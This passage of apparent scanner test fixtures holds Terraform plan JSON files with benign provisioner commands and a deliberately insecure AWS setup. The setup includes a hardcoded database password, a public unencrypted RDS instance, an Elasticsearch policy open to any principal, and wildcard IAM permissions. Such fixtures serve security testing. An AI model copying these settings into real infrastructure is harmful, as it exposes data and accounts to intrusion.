     \"type\": \"local-exec\",\n              \"expressions\": {\n                \"command\": {\n                  \"constant_value\": \"open WFH, '>completed.txt' and print WFH scalar localtime\"\n                },\n                \"interpreter\": {\n                  \"constant_value\": [\n                    \"perl\",\n                    \"-e\"\n                  ]\n                }\n              }\n            }\n          ],\n          \"expressions\": {\n            \"ami\": {\n              \"constant_value\": \"ami-09a5b0b7edf08843d\"\n            },\n            \"instance_type\": {\n              \"constant_value\": \"t3.micro\"\n            },\n            \"tags\": {\n              \"constant_value\": {\n                \"Name\": \"HelloWorld\"\n              }\n            }\n          },\n          \"schema_version\": 1\n        }\n      ]\n    }\n  },\n  \"timestamp\": \"2024-07-26T05:47:45Z\"\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/plan_provisioners/tfplan2.json",
    "content": "{\n  \"format_version\": \"1.2\",\n  \"terraform_version\": \"1.5.7\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_instance.web\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_instance\",\n          \"name\": \"web\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"ami\": \"ami-09a5b0b7edf08843d\",\n            \"credit_specification\": [],\n            \"get_password_data\": false,\n            \"hibernation\": null,\n            \"instance_type\": \"t3.micro\",\n            \"launch_template\": [],\n            \"source_dest_check\": true,\n            \"tags\": {\n              \"Name\": \"HelloWorld\"\n            },\n            \"tags_all\": {\n              \"Name\": \"HelloWorld\"\n            },\n            \"timeouts\": null,\n            \"user_data_replace_on_change\": false,\n            \"volume_tags\": null\n          },\n          \"sensitive_values\": {\n            \"capacity_reservation_specification\": [],\n            \"cpu_options\": [],\n            \"credit_specification\": [],\n            \"ebs_block_device\": [],\n            \"enclave_options\": [],\n            \"ephemeral_block_device\": [],\n            \"instance_market_options\": [],\n            \"ipv6_addresses\": [],\n            \"launch_template\": [],\n            \"maintenance_options\": [],\n            \"metadata_options\": [],\n            \"network_interface\": [],\n            \"private_dns_name_options\": [],\n            \"root_block_device\": [],\n            \"secondary_private_ips\": [],\n            \"security_groups\": [],\n            \"tags\": {},\n            \"tags_all\": {},\n            \"vpc_security_group_ids\": []\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_instance.web\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_instance\",\n      \"name\": \"web\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"ami\": \"ami-09a5b0b7edf08843d\",\n          \"credit_specification\": [],\n          \"get_password_data\": false,\n          \"hibernation\": null,\n          \"instance_type\": \"t3.micro\",\n          \"launch_template\": [],\n          \"source_dest_check\": true,\n          \"tags\": {\n            \"Name\": \"HelloWorld\"\n          },\n          \"tags_all\": {\n            \"Name\": \"HelloWorld\"\n          },\n          \"timeouts\": null,\n          \"user_data_replace_on_change\": false,\n          \"volume_tags\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"associate_public_ip_address\": true,\n          \"availability_zone\": true,\n          \"capacity_reservation_specification\": true,\n          \"cpu_core_count\": true,\n          \"cpu_options\": true,\n          \"cpu_threads_per_core\": true,\n          \"credit_specification\": [],\n          \"disable_api_stop\": true,\n          \"disable_api_termination\": true,\n          \"ebs_block_device\": true,\n          \"ebs_optimized\": true,\n          \"enclave_options\": true,\n          \"ephemeral_block_device\": true,\n          \"host_id\": true,\n          \"host_resource_group_arn\": true,\n          \"iam_instance_profile\": true,\n          \"id\": true,\n          \"instance_initiated_shutdown_behavior\": true,\n          \"instance_lifecycle\": true,\n          \"instance_market_options\": true,\n          \"instance_state\": true,\n          \"ipv6_address_count\": true,\n          \"ipv6_addresses\": true,\n          \"key_name\": true,\n          \"launch_template\": [],\n          \"maintenance_options\": true,\n          \"metadata_options\": true,\n          \"monitoring\": true,\n          \"network_interface\": true,\n          \"outpost_arn\": true,\n          \"password_data\": true,\n          \"placement_group\": true,\n          \"placement_partition_number\": true,\n          \"primary_network_interface_id\": true,\n          \"private_dns\": true,\n          \"private_dns_name_options\": true,\n          \"private_ip\": true,\n          \"public_dns\": true,\n          \"public_ip\": true,\n          \"root_block_device\": true,\n          \"secondary_private_ips\": true,\n          \"security_groups\": true,\n          \"spot_instance_request_id\": true,\n          \"subnet_id\": true,\n          \"tags\": {},\n          \"tags_all\": {},\n          \"tenancy\": true,\n          \"user_data\": true,\n          \"user_data_base64\": true,\n          \"vpc_security_group_ids\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"capacity_reservation_specification\": [],\n          \"cpu_options\": [],\n          \"credit_specification\": [],\n          \"ebs_block_device\": [],\n          \"enclave_options\": [],\n          \"ephemeral_block_device\": [],\n          \"instance_market_options\": [],\n          \"ipv6_addresses\": [],\n          \"launch_template\": [],\n          \"maintenance_options\": [],\n          \"metadata_options\": [],\n          \"network_interface\": [],\n          \"private_dns_name_options\": [],\n          \"root_block_device\": [],\n          \"secondary_private_ips\": [],\n          \"security_groups\": [],\n          \"tags\": {},\n          \"tags_all\": {},\n          \"vpc_security_group_ids\": []\n        }\n      }\n    }\n  ],\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"full_name\": \"registry.terraform.io/hashicorp/aws\",\n        \"expressions\": {\n          \"access_key\": {\n            \"constant_value\": \"mock_access_key\"\n          },\n          \"region\": {\n            \"constant_value\": \"us-west-1\"\n          },\n          \"secret_key\": {\n            \"constant_value\": \"mock_secret_key\"\n          },\n          \"skip_credentials_validation\": {\n            \"constant_value\": true\n          },\n          \"skip_metadata_api_check\": {\n            \"constant_value\": true\n          },\n          \"skip_requesting_account_id\": {\n            \"constant_value\": true\n          }\n        }\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_instance.web\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_instance\",\n          \"name\": \"web\",\n          \"provider_config_key\": \"aws\",\n          \"provisioners\": [\n            {\n              \"type\": \"file\",\n              \"expressions\": {\n                \"destination\": {\n                  \"constant_value\": \"/tmp/script.sh\"\n                },\n                \"source\": {\n                  \"constant_value\": \"script.sh\"\n                }\n              }\n            },\n            {\n              \"type\": \"remote-exec\",\n              \"expressions\": {\n                \"inline\": {\n                  \"constant_value\": [\n                    \"chmod +x /tmp/script.sh\",\n                    \"/tmp/script.sh args\"\n                  ]\n                }\n              }\n            }\n          ],\n          \"expressions\": {\n            \"ami\": {\n              \"constant_value\": \"ami-09a5b0b7edf08843d\"\n            },\n            \"instance_type\": {\n              \"constant_value\": \"t3.micro\"\n            },\n            \"tags\": {\n              \"constant_value\": {\n                \"Name\": \"HelloWorld\"\n              }\n            }\n          },\n          \"schema_version\": 1\n        }\n      ]\n    }\n  },\n  \"timestamp\": \"2024-07-26T05:10:57Z\"\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/plan_tags/tfplan.json",
    "content": "{\n  \"format_version\": \"0.1\",\n  \"terraform_version\": \"0.12.23\",\n  \"variables\": {\n    \"ami\": {\n      \"value\": \"ami-09a5b0b7edf08843d\"\n    },\n    \"availability_zone\": {\n      \"value\": \"us-west-2a\"\n    },\n    \"availability_zone2\": {\n      \"value\": \"us-west-2b\"\n    },\n    \"company_name\": {\n      \"value\": \"acme\"\n    },\n    \"dbname\": {\n      \"value\": \"db1\"\n    },\n    \"environment\": {\n      \"value\": \"corp\"\n    },\n    \"neptune-dbname\": {\n      \"value\": \"neptunedb1\"\n    },\n    \"password\": {\n      \"value\": \"Aa1234321Bb\"\n    },\n    \"profile\": {\n      \"value\": \"default\"\n    },\n    \"region\": {\n      \"value\": \"us-west-2\"\n    }\n  },\n  \"planned_values\": {\n    \"outputs\": {\n      \"db_app_public_dns\": {\n        \"sensitive\": false\n      },\n      \"db_endpoint\": {\n        \"sensitive\": false\n      },\n      \"ec2_public_dns\": {\n        \"sensitive\": false\n      },\n      \"endpoint\": {\n        \"sensitive\": false\n      },\n      \"kubeconfig-certificate-authority-data\": {\n        \"sensitive\": false\n      },\n      \"public_subnet\": {\n        \"sensitive\": false\n      },\n      \"public_subnet2\": {\n        \"sensitive\": false\n      },\n      \"secret\": {\n        \"sensitive\": false\n      },\n      \"username\": {\n        \"sensitive\": false,\n        \"value\": \"123456789123-acme-corp-user\"\n      },\n      \"vpc_id\": {\n        \"sensitive\": false\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_db_instance.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_db_instance\",\n          \"name\": \"default\",\n          \"provider_name\": \"aws\",\n          \"schema_version\": 1,\n          \"values\": {\n            \"allocated_storage\": 20,\n            \"allow_major_version_upgrade\": null,\n            \"apply_immediately\": true,\n            \"auto_minor_version_upgrade\": true,\n            \"backup_retention_period\": 0,\n            \"copy_tags_to_snapshot\": false,\n            \"db_subnet_group_name\": \"sg-123456789123-acme-corp\",\n            \"delete_automated_backups\": true,\n            \"deletion_protection\": null,\n            \"domain\": null,\n            \"domain_iam_role_name\": null,\n            \"enabled_cloudwatch_logs_exports\": null,\n            \"engine\": \"mysql\",\n            \"engine_version\": \"8.0\",\n            \"final_snapshot_identifier\": null,\n            \"iam_database_authentication_enabled\": null,\n            \"identifier\": \"rds-123456789123-acme-corp\",\n            \"instance_class\": \"db.t3.micro\",\n            \"iops\": null,\n            \"max_allocated_storage\": null,\n            \"monitoring_interval\": 0,\n            \"multi_az\": false,\n            \"name\": \"db1\",\n            \"option_group_name\": \"og-123456789123-acme-corp\",\n            \"parameter_group_name\": \"pg-123456789123-acme-corp\",\n            \"password\": \"Aa1234321Bb\",\n            \"performance_insights_enabled\": false,\n            \"publicly_accessible\": true,\n            \"replicate_source_db\": null,\n            \"s3_import\": [],\n            \"security_group_names\": null,\n            \"skip_final_snapshot\": true,\n            \"snapshot_identifier\": null,\n            \"storage_encrypted\": false,\n            \"tags\": {\n              \"Environment\": \"123456789123-acme-corp\",\n              \"Name\": \"123456789123-acme-corp-rds\"\n            },\n            \"timeouts\": null,\n            \"username\": \"admin\"\n          }\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_db_instance.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_db_instance\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"allocated_storage\": 20,\n          \"allow_major_version_upgrade\": null,\n          \"apply_immediately\": true,\n          \"auto_minor_version_upgrade\": true,\n          \"backup_retention_period\": 0,\n          \"copy_tags_to_snapshot\": false,\n          \"db_subnet_group_name\": \"sg-123456789123-acme-corp\",\n          \"delete_automated_backups\": true,\n          \"deletion_protection\": null,\n          \"domain\": null,\n          \"domain_iam_role_name\": null,\n          \"enabled_cloudwatch_logs_exports\": null,\n          \"engine\": \"mysql\",\n          \"engine_version\": \"8.0\",\n          \"final_snapshot_identifier\": null,\n          \"iam_database_authentication_enabled\": null,\n          \"identifier\": \"rds-123456789123-acme-corp\",\n          \"instance_class\": \"db.t3.micro\",\n          \"iops\": null,\n          \"max_allocated_storage\": null,\n          \"monitoring_interval\": 0,\n          \"multi_az\": false,\n          \"name\": \"db1\",\n          \"option_group_name\": \"og-123456789123-acme-corp\",\n          \"parameter_group_name\": \"pg-123456789123-acme-corp\",\n          \"password\": \"Aa1234321Bb\",\n          \"performance_insights_enabled\": false,\n          \"publicly_accessible\": true,\n          \"replicate_source_db\": null,\n          \"s3_import\": [],\n          \"security_group_names\": null,\n          \"skip_final_snapshot\": true,\n          \"snapshot_identifier\": null,\n          \"storage_encrypted\": false,\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-rds\"\n          },\n          \"timeouts\": null,\n          \"username\": \"admin\"\n        },\n        \"after_unknown\": {\n          \"address\": true,\n          \"arn\": true,\n          \"availability_zone\": true,\n          \"backup_window\": true,\n          \"ca_cert_identifier\": true,\n          \"character_set_name\": true,\n          \"endpoint\": true,\n          \"hosted_zone_id\": true,\n          \"id\": true,\n          \"identifier_prefix\": true,\n          \"kms_key_id\": true,\n          \"license_model\": true,\n          \"maintenance_window\": true,\n          \"monitoring_role_arn\": true,\n          \"performance_insights_kms_key_id\": true,\n          \"performance_insights_retention_period\": true,\n          \"port\": true,\n          \"replicas\": true,\n          \"resource_id\": true,\n          \"s3_import\": [],\n          \"status\": true,\n          \"storage_type\": true,\n          \"tags\": {},\n          \"timezone\": true,\n          \"vpc_security_group_ids\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_db_option_group.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_db_option_group\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"engine_name\": \"mysql\",\n          \"major_engine_version\": \"8.0\",\n          \"name\": \"og-123456789123-acme-corp\",\n          \"option\": [],\n          \"option_group_description\": \"Terraform OG\",\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-og\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"name_prefix\": true,\n          \"option\": [],\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_db_parameter_group.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_db_parameter_group\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": \"Terraform PG\",\n          \"family\": \"mysql8.0\",\n          \"name\": \"pg-123456789123-acme-corp\",\n          \"parameter\": [\n            {\n              \"apply_method\": \"immediate\",\n              \"name\": \"character_set_client\",\n              \"value\": \"utf8\"\n            },\n            {\n              \"apply_method\": \"immediate\",\n              \"name\": \"character_set_server\",\n              \"value\": \"utf8\"\n            }\n          ],\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-pg\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"name_prefix\": true,\n          \"parameter\": [\n            {},\n            {}\n          ],\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_db_subnet_group.default\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_db_subnet_group\",\n      \"name\": \"default\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": \"Terraform DB Subnet Group\",\n          \"name\": \"sg-123456789123-acme-corp\",\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"sg-123456789123-acme-corp\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"name_prefix\": true,\n          \"subnet_ids\": true,\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_ebs_snapshot.example_snapshot\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_ebs_snapshot\",\n      \"name\": \"example_snapshot\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": \"123456789123-acme-corp-ebs-snapshot\",\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-ebs-snapshot\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"data_encryption_key_id\": true,\n          \"encrypted\": true,\n          \"id\": true,\n          \"kms_key_id\": true,\n          \"owner_alias\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"volume_id\": true,\n          \"volume_size\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_ebs_volume.web_host_storage\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_ebs_volume\",\n      \"name\": \"web_host_storage\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"availability_zone\": \"us-west-2a\",\n          \"multi_attach_enabled\": null,\n          \"outpost_arn\": null,\n          \"size\": 1,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-ebs\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"encrypted\": true,\n          \"id\": true,\n          \"iops\": true,\n          \"kms_key_id\": true,\n          \"snapshot_id\": true,\n          \"tags\": {},\n          \"type\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_ecr_repository.repository\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_ecr_repository\",\n      \"name\": \"repository\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"encryption_configuration\": [],\n          \"image_scanning_configuration\": [],\n          \"image_tag_mutability\": \"MUTABLE\",\n          \"name\": \"123456789123-acme-corp-repository\",\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-repository\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"encryption_configuration\": [],\n          \"id\": true,\n          \"image_scanning_configuration\": [],\n          \"registry_id\": true,\n          \"repository_url\": true,\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_eks_cluster.eks_cluster\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_eks_cluster\",\n      \"name\": \"eks_cluster\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"enabled_cluster_log_types\": null,\n          \"encryption_config\": [],\n          \"name\": \"123456789123-acme-corp-eks\",\n          \"tags\": null,\n          \"timeouts\": null,\n          \"vpc_config\": [\n            {\n              \"endpoint_private_access\": true,\n              \"endpoint_public_access\": true,\n              \"security_group_ids\": null\n            }\n          ]\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"certificate_authority\": true,\n          \"created_at\": true,\n          \"encryption_config\": [],\n          \"endpoint\": true,\n          \"id\": true,\n          \"identity\": true,\n          \"platform_version\": true,\n          \"role_arn\": true,\n          \"status\": true,\n          \"version\": true,\n          \"vpc_config\": [\n            {\n              \"cluster_security_group_id\": true,\n              \"public_access_cidrs\": true,\n              \"subnet_ids\": true,\n              \"vpc_id\": true\n            }\n          ]\n        }\n      }\n    },\n    {\n      \"address\": \"aws_elasticsearch_domain.monitoring-framework\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_elasticsearch_domain\",\n      \"name\": \"monitoring-framework\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"cluster_config\": [\n            {\n              \"dedicated_master_count\": null,\n              \"dedicated_master_enabled\": false,\n              \"dedicated_master_type\": null,\n              \"instance_count\": 1,\n              \"instance_type\": \"t2.small.elasticsearch\",\n              \"warm_count\": null,\n              \"warm_enabled\": null,\n              \"warm_type\": null,\n              \"zone_awareness_config\": [],\n              \"zone_awareness_enabled\": null\n            }\n          ],\n          \"cognito_options\": [],\n          \"domain_name\": \"tg-corp-es\",\n          \"ebs_options\": [\n            {\n              \"ebs_enabled\": true,\n              \"iops\": null,\n              \"volume_size\": 30\n            }\n          ],\n          \"elasticsearch_version\": \"2.3\",\n          \"log_publishing_options\": [],\n          \"snapshot_options\": [],\n          \"tags\": null,\n          \"timeouts\": null,\n          \"vpc_options\": []\n        },\n        \"after_unknown\": {\n          \"access_policies\": true,\n          \"advanced_options\": true,\n          \"advanced_security_options\": true,\n          \"arn\": true,\n          \"cluster_config\": [\n            {\n              \"zone_awareness_config\": []\n            }\n          ],\n          \"cognito_options\": [],\n          \"domain_endpoint_options\": true,\n          \"domain_id\": true,\n          \"ebs_options\": [\n            {\n              \"volume_type\": true\n            }\n          ],\n          \"encrypt_at_rest\": true,\n          \"endpoint\": true,\n          \"id\": true,\n          \"kibana_endpoint\": true,\n          \"log_publishing_options\": [],\n          \"node_to_node_encryption\": true,\n          \"snapshot_options\": [],\n          \"vpc_options\": []\n        }\n      }\n    },\n    {\n      \"address\": \"aws_elasticsearch_domain_policy.monitoring-framework-policy\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_elasticsearch_domain_policy\",\n      \"name\": \"monitoring-framework-policy\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"access_policies\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"\\\",\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Action\\\": \\\"es:*\\\",\\n      \\\"Resource\\\": \\\"*\\\",\\n      \\\"Principal\\\": {\\n        \\\"AWS\\\": \\\"*\\\"\\n      }\\n    }\\n  ]\\n}\",\n          \"domain_name\": \"tg-corp-es\"\n        },\n        \"after_unknown\": {\n          \"id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_elb.weblb\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_elb\",\n      \"name\": \"weblb\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"access_logs\": [],\n          \"connection_draining\": true,\n          \"connection_draining_timeout\": 400,\n          \"cross_zone_load_balancing\": true,\n          \"health_check\": [\n            {\n              \"healthy_threshold\": 2,\n              \"interval\": 30,\n              \"target\": \"HTTP:8000/\",\n              \"timeout\": 3,\n              \"unhealthy_threshold\": 2\n            }\n          ],\n          \"idle_timeout\": 400,\n          \"listener\": [\n            {\n              \"instance_port\": 8000,\n              \"instance_protocol\": \"http\",\n              \"lb_port\": 80,\n              \"lb_protocol\": \"http\",\n              \"ssl_certificate_id\": \"\"\n            }\n          ],\n          \"name\": \"weblb-terraform-elb\",\n          \"name_prefix\": null,\n          \"tags\": {\n            \"Name\": \"foobar-terraform-elb\"\n          }\n        },\n        \"after_unknown\": {\n          \"access_logs\": [],\n          \"arn\": true,\n          \"availability_zones\": true,\n          \"dns_name\": true,\n          \"health_check\": [\n            {}\n          ],\n          \"id\": true,\n          \"instances\": true,\n          \"internal\": true,\n          \"listener\": [\n            {}\n          ],\n          \"security_groups\": true,\n          \"source_security_group\": true,\n          \"source_security_group_id\": true,\n          \"subnets\": true,\n          \"tags\": {},\n          \"zone_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_flow_log.vpcflowlogs\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_flow_log\",\n      \"name\": \"vpcflowlogs\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"eni_id\": null,\n          \"iam_role_arn\": null,\n          \"log_destination_type\": \"s3\",\n          \"max_aggregation_interval\": 600,\n          \"subnet_id\": null,\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-flowlogs\"\n          },\n          \"traffic_type\": \"ALL\"\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"log_destination\": true,\n          \"log_format\": true,\n          \"log_group_name\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_access_key.user\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_access_key\",\n      \"name\": \"user\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"pgp_key\": null,\n          \"user\": \"123456789123-acme-corp-user\"\n        },\n        \"after_unknown\": {\n          \"encrypted_secret\": true,\n          \"id\": true,\n          \"key_fingerprint\": true,\n          \"secret\": true,\n          \"ses_smtp_password_v4\": true,\n          \"status\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_instance_profile.ec2profile\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_instance_profile\",\n      \"name\": \"ec2profile\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"name\": \"123456789123-acme-corp-profile\",\n          \"name_prefix\": null,\n          \"path\": \"/\",\n          \"role\": \"123456789123-acme-corp-role\"\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"create_date\": true,\n          \"id\": true,\n          \"unique_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_role.ec2role\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role\",\n      \"name\": \"ec2role\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assume_role_policy\": \"{\\n    \\\"Version\\\": \\\"2012-10-17\\\",\\n    \\\"Statement\\\": [\\n        {\\n            \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n            \\\"Principal\\\": {\\n               \\\"Service\\\": \\\"ec2.amazonaws.com\\\"\\n            },\\n            \\\"Effect\\\": \\\"Allow\\\",\\n            \\\"Sid\\\": \\\"\\\"\\n        }\\n    ]\\n}\\n\",\n          \"description\": null,\n          \"force_detach_policies\": false,\n          \"max_session_duration\": 3600,\n          \"name\": \"123456789123-acme-corp-role\",\n          \"name_prefix\": null,\n          \"path\": \"/\",\n          \"permissions_boundary\": null,\n          \"tags\": {\n            \"Environment\": \"123456789123-acme-corp\",\n            \"Name\": \"123456789123-acme-corp-role\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"create_date\": true,\n          \"id\": true,\n          \"tags\": {},\n          \"unique_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_role.iam_for_eks\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role\",\n      \"name\": \"iam_for_eks\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assume_role_policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"\\\",\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n      \\\"Principal\\\": {\\n        \\\"Service\\\": \\\"eks.amazonaws.com\\\"\\n      }\\n    }\\n  ]\\n}\",\n          \"description\": null,\n          \"force_detach_policies\": false,\n          \"max_session_duration\": 3600,\n          \"name\": \"123456789123-acme-corp-iam-for-eks\",\n          \"name_prefix\": null,\n          \"path\": \"/\",\n          \"permissions_boundary\": null,\n          \"tags\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"create_date\": true,\n          \"id\": true,\n          \"unique_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_role.iam_for_lambda\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role\",\n      \"name\": \"iam_for_lambda\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assume_role_policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n      \\\"Principal\\\": {\\n        \\\"Service\\\": \\\"lambda.amazonaws.com\\\"\\n      },\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Sid\\\": \\\"\\\"\\n    }\\n  ]\\n}\\n\",\n          \"description\": null,\n          \"force_detach_policies\": false,\n          \"max_session_duration\": 3600,\n          \"name\": \"123456789123-acme-corp-analysis-lambda\",\n          \"name_prefix\": null,\n          \"path\": \"/\",\n          \"permissions_boundary\": null,\n          \"tags\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"create_date\": true,\n          \"id\": true,\n          \"unique_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_role_policy.ec2policy\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role_policy\",\n      \"name\": \"ec2policy\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"name\": \"123456789123-acme-corp-policy\",\n          \"name_prefix\": null,\n          \"policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": [\\n        \\\"s3:*\\\",\\n        \\\"ec2:*\\\",\\n        \\\"rds:*\\\"\\n      ],\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Resource\\\": \\\"*\\\"\\n    }\\n  ]\\n}\\n\"\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"role\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_iam_role_policy_attachment.policy_attachment-AmazonEKSClusterPolicy\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_iam_role_policy_attachment\",\n      \"name\": \"policy_attachment-AmazonEKSClusterPolicy\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"policy_arn\": \"arn:aws:iam::aws:policy/AmazonEKSClusterPolicy\",\n          \"role\": 